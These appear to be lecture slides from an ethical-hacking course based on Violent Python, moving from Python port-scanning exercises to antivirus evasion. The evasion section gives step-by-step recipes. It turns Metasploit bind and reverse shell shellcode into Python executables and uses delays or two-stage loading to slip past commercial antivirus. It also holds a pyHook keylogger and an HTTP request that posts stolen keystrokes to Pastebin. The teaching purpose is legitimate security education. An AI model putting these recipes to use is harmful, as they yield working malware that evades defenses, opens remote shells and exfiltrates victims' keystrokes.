Advanced Ethical Hacking

**VIOLENT PYTHON**
A Cookbook for Hackers, Forensic Analysts, Penetration Testers, and Security Engineers

T.J. O'Connor
Violent Python

• Good coding principles
  – Exception handling
  – Modular design
  – Optimization
  – Commenting
  – Flow charts

• FORGET THEM ALL
Violent Python

• We are hackers
• We are here to BREAK STUFF
• It should be fast and easy for a complete novice to hack together a simple script to do something fun!
Proj 3: Basic Port Scanning with Python (15 pts. + 15 extra credit)

What You Need

A Kali Linux machine, real or virtual. You could use Windows with Python installed, but it's easier to just use Linux.

```python
import socket
s = socket.socket()

s.connect(('attack.samsclass.info', 22))
print(s.recv(1024))
s.close()
```

```
root@kali:~/124# python grab.py
SSH-2.0-OpenSSH_5.1p1 Debian-5
root@kali:~/124#
```
Challenge 1: Find a Service (5 pts. extra credit)

There is another service listening on attack.samsclass.info on a port number ending in 000; that is, one of these: 1000, 2000, 3000, etc.

```
root@kali:~/124# python grab2.py
Target URL: attack.samsclass.info
Target Port: [REDACTED]
Congratulations! You found the hidden [REDACTED]
root@kali:~/124# 
```
Challenge 2: Port Knocking (10 pts. extra credit)

There is a hidden service on port 3003. To open it, you must send these packets to "knock":

1. A SYN to port 3100
2. Another SYN to a secret hidden port, which is one of these: (3100, 3200, 3300, 3400, 3500, 3600, 3700, 3800, 3900)
3. A 2-second delay (see this link)

When the server receives the correct knock, port 3003 will open for 3 seconds and then close. You must grab the banner during that brief period.
Projects

Project 1: HTTP Headers (15 pts.)
Project 2: CodeCademy I (15 pts.)
Project 3: Basic Port Scanning with Python (15 pts. + 15 extra credit)
Project 4: CodeCademy II (20 pts.)
Project 5: HTTP Scanning with Python (15 pts. + 35 extra credit)
Project 6: CodeCademy III (20 pts.)
Project 7: Password Hashes with Python (15 pts. + 40 extra credit)
Project 8: Antivirus Evasion with Python (20 pts.)
Project 9: Keylogger with Python (15 pts. + 25 pts. extra credit)
Project 10: Defeating Norton Antivirus with Python (20 pts. + 30 extra)
Project 11: Attacking Clients with a Malicious Heartbleed SSL Server (10 pts.)
Project 12: Automating Keypresses in Windows (10 Points + 15 pts. extra)
Project 13: XOR Encryption in Python (10 pts. + 40 extra credit)
Extra Credit Projects

Project 1x: Independent Project (pts. vary) -- Do something cool and show it to the class!
Project 2x: Port Scanning with IPv6 and Python (10-45 pts. extra credit)
Project 3x: Wechall.net (points vary)
Project 4x: Automating Keypresses in Mac OS X (25 pts. extra)
Proj 5x: Packet Amplification with SNMP (20 pts. extra credit)
Proj 6x: Packet Amplification with NTP (20 pts. extra credit)
Antivirus

Ungh! Good God y'all...

What is it GOOD For?
Antivirus pioneer Symantec declares AV “dead” and “doomed to failure”

Company concedes AV fails to catch majority of malicious attacks in circulation.

by Dan Goodin - May 5 2014, 9:25am PDT

Norton promises 100 percent virus removal for small businesses

Metasploit Payloads
Metasploit

- Hundreds of payloads
- The simplest one: bind_tcp
- Listens on a TCP port for commands
Simple Reverse Shell

• One command to produce very simple Windows EXE malware

```sh
root@kali:/~# msfpayload windows/shell_bind_tcp X > shell.exe
```

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
Length: 341
Options: {}

```sh
root@kali:/~# ls -l shell.exe
-rw-r--r-- 1 root root 73802 Mar 9 22:48 shell.exe
```

```sh
root@kali:/~# 
```
Infection detected!

avast! Filesystem shield has detected a threat and moved it into the Chest.

Infection: Win32:SwPatch [Wrm]
File: /Users/sambowne/Desktop/shell.exe
Process: /Applications/VMware Fusion.app/Contents/Library/vmware-vmx
UID: 501
Norton v. Shell.exe
Norton Identifies the Metasploit Packer

Packed.Generic.347

Risk Level 1: Very Low

Summary

Discovered: January 9, 2012
Updated: January 9, 2012 5:17:29 PM
Type: Trojan, Virus

Packed.Generic.347 is a heuristic detection for files that may have been packed using Metasploit penetration-testing software. This heuristic detection is used to detect several different payloads.
VirusTotal: 37/49 Detections

SHA256: 5c5e866e583f0c84a5d91e368eb6dba364c8f717b6ea9f5fc3d2c0578934
File name: shell.exe
Detection ratio: 37 / 49
Analysis date: 2014-03-10 03:17:32 UTC (0 minutes ago)
How to Become 007
Python v. AV

Round 1
shell_bind_tcp
Export Metasploit Payloads to C

```bash
root@kali:~/124# msfpayload windows/shell_bind_tcp C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xc0\x0d\x01\xc7\xe2"
```
Use Ctypes Python Library

```python
from ctypes import *
shellcode = ("\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
            "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
            "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\x7f\xeb\x07"
            "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");
```
Compile it on Windows

• Install these things, in order
  – Python 2.7
  – PyWin32
  – pip-Win
  – PyInstaller

• This creates an EXE file that listens on a TCP port
DEMO

• On Kali
  
  msfpayload windows/shell_bind_tcp C > foo
  nano foo

• Change top to
  
  from ctypes import *
  shellcode = (

• Change bottom to
  
  memorywithshell = create_string_buffer(shellcode, len(shellcode))
  shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
  shell()
DEMO

- On Windows, in pip-Win:

  ```
  venv -c -i pyi-env-name
  pyinstaller --onefile --noconsole foo
  ```
VirusTotal: 1/50 Detection
• I Tweeted about this, and @NortonSupport replied
• VirusTotal is not a fair test, because real installed Norton uses Heuristic Scanning
• @NortonSupport gave me a link for a 30-day trial version :)}
Norton Wins!

A program was behaving suspiciously on your computer. This program was removed.

- foo.exe
  - Threat name: SONAR.Heuristic.120

- Details
  - Very Few Users, Very New, Risk High

- Origin
  - Downloaded from Unknown

- Activity
  - Actions performed: 6

- Files removed:
  - c:\users\sam\desktop\foo.exe
  - c:\users\sam\appdata\local\temp\_mei32922\microsoft.vc90.crt.manifest
  - Directory: c:\users\sam\appdata\local\temp\_mei32922

[Close button]
Kaspersky Wins!

- Avast! doesn't detect it
- Kaspersky detects it as HEUR: Trojan.Win32.Generic
Python v. AV

Round 2
shell_bind_tcp
with a delay
Bobby 'Tables @info_dox 17m
@sambowne @NortonSupport You know it would take like, 2 minutes of python work to evade that, right?

Sam Bowne @sambowne 17m
@info_dox @NortonSupport I don't know; please tell me how!

Bobby 'Tables @info_dox
@sambowne @NortonSupport k, so you are being pinged by the behavioral analysis nonsense, right? Those things dont monitor forever ;)

3:40pm · 20 Mar 14 · web
@sambowne @NortonSupport they normally only watch a process for a minute or two to see if they do anything nasty. they also hook sleep() tho

3:41pm · 20 Mar 14 · web

@sambowne @NortonSupport there's the clue: do nothing malicious until it stops monitoring, then do errything malicious. Including deleting AV

3:41pm · 20 Mar 14 · web
DEMO

• On Kali
  cp foo foo2
  nano foo2
  x=raw_input("Press Enter to continue")

• On Windows, in pip-Win:
  venv -c -i pyi-env-name
  pyinstaller --onefile foo2
Norton, Avast, & MSE Lose!
Kaspersky Wins!
Python v. AV

Round 3
shell_bind_tcp
in two stages
no delay
Other AV

• Tested on Mar 24, 2014 with a two-stage reverse shell and no time delay
• All these failed
  – Norton
  – Nod32
  – Avast!
  – 360 Internet Security
  – McAfee
  – Kaspersky
Remember Mikko?
F-Secure Wins!
AV Challenge
Antivirus Challenge: Detect This Malware

Malicious EXE File

This binary file, when executed on a Windows target, causes it to connect back to a Metasploit listener at the IP address 192.168.1.89

rsh-192-168-1-89.exe

It's a 3 MB file. Normally I zip malware with a password but since no anti-malware product can detect this one there is at present no reason to bother.

• Posted April 3, 2014
• No reply from AV vendors, but Norton improved its detection after that
  – Now a delay is required
Python v. AV

Round 4
shell_bind_tcp
with a delay
INSTRUCTIONS

• On Kali

```python
msfpayload windows/shell_reverse_tcp
LHOST=192.168.119.252 C > rev
nano rev
```

• Change top to

```python
x=raw_input("Press Enter to continue")
from ctypes import *
shellcode = (
```

• Change bottom to

```python
memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
```
INSTRUCTIONS

• On Windows, in pip-Win:
  venv -c -i pyi-env-name
  pyinstaller --onefile rev

• On Kali
  nc -1p 4444
Norton Loses
Kaspersky Wins

ty @ChrisAbdalla_1 from HP ESP TippingPoint
A friend in the financial industry tested Evil.exe on a system protected by FireEye

FireEye gives no alerts and lets it post keystrokes right to Pastebin
Python Keylogger
Google "Python Keylogger"

- I used this one from 4 years ago

```python
# Key Logger
# By: K.B. Carte
# Version 1.0
###
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'path\to\log.out'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(asctime)s)
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
```
Post Keystrokes to Pastebin

```bash
POST /api/api_post.php HTTP/1.1
Host: pastebin.com
Content-Length: 89
Content-Type: application/x-www-form-urlencoded
api_option=paste&api_dev_key=2cd3c4d04&api_paste_code=YOURINITIALSHERE
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 17 Mar 2014 18:32:10 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d63b4a10e07f8892ab6f6d2e81ab3d4201395081130259; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.pastebin.com; HttpOnly

PRODUCT ANNOUNCEMENT!
Ultra-Advanced APT Tool

I am an evil keylogger!
I will steal your keystrokes and post them on the Internet!
Three steps to get hacked:

1. Press ENTER
2. Type any line of text
3. Press ENTER again

This is intended as a test of antivirus products.
Don’t do illegal things with it!
If you have questions, contact sbowen@ccsf.edu

samsclass.info/evil.exe
NORTON JUST DON'T CARE

F-Secure is running! I am safe!

EVIL KEYLOGGER STEALING MY STUFF!!
UNSTOPPABLE

• None of these products stop it
  – Norton
  – McAfee
  – Kaspersky
  – Nod32
  – F-Secure
  – Avast!
  – Microsoft Security Essentials
FireEye FAILS

A friend in the financial industry tested FireEye:

No alerts from FireEye.

So I can say that I know fireeye saw your exe download and execute. And I can say that it did not alert nor take action because it didn't see anything it decided was malicious.
DoD Mission Assurance Category. 1: FAILS

A defense contractor tested a high-security system:

Your compiled keylogger works on MAC-I STIG'd sys w/ full McAfee HBSS ePO HIPS, VSE, etc :)

I don't always run arbitrary executables on MAC-I systems, but when I do, it's for science.

sorry, MAC = DoD Mission Assurance Category. 1 = highest.
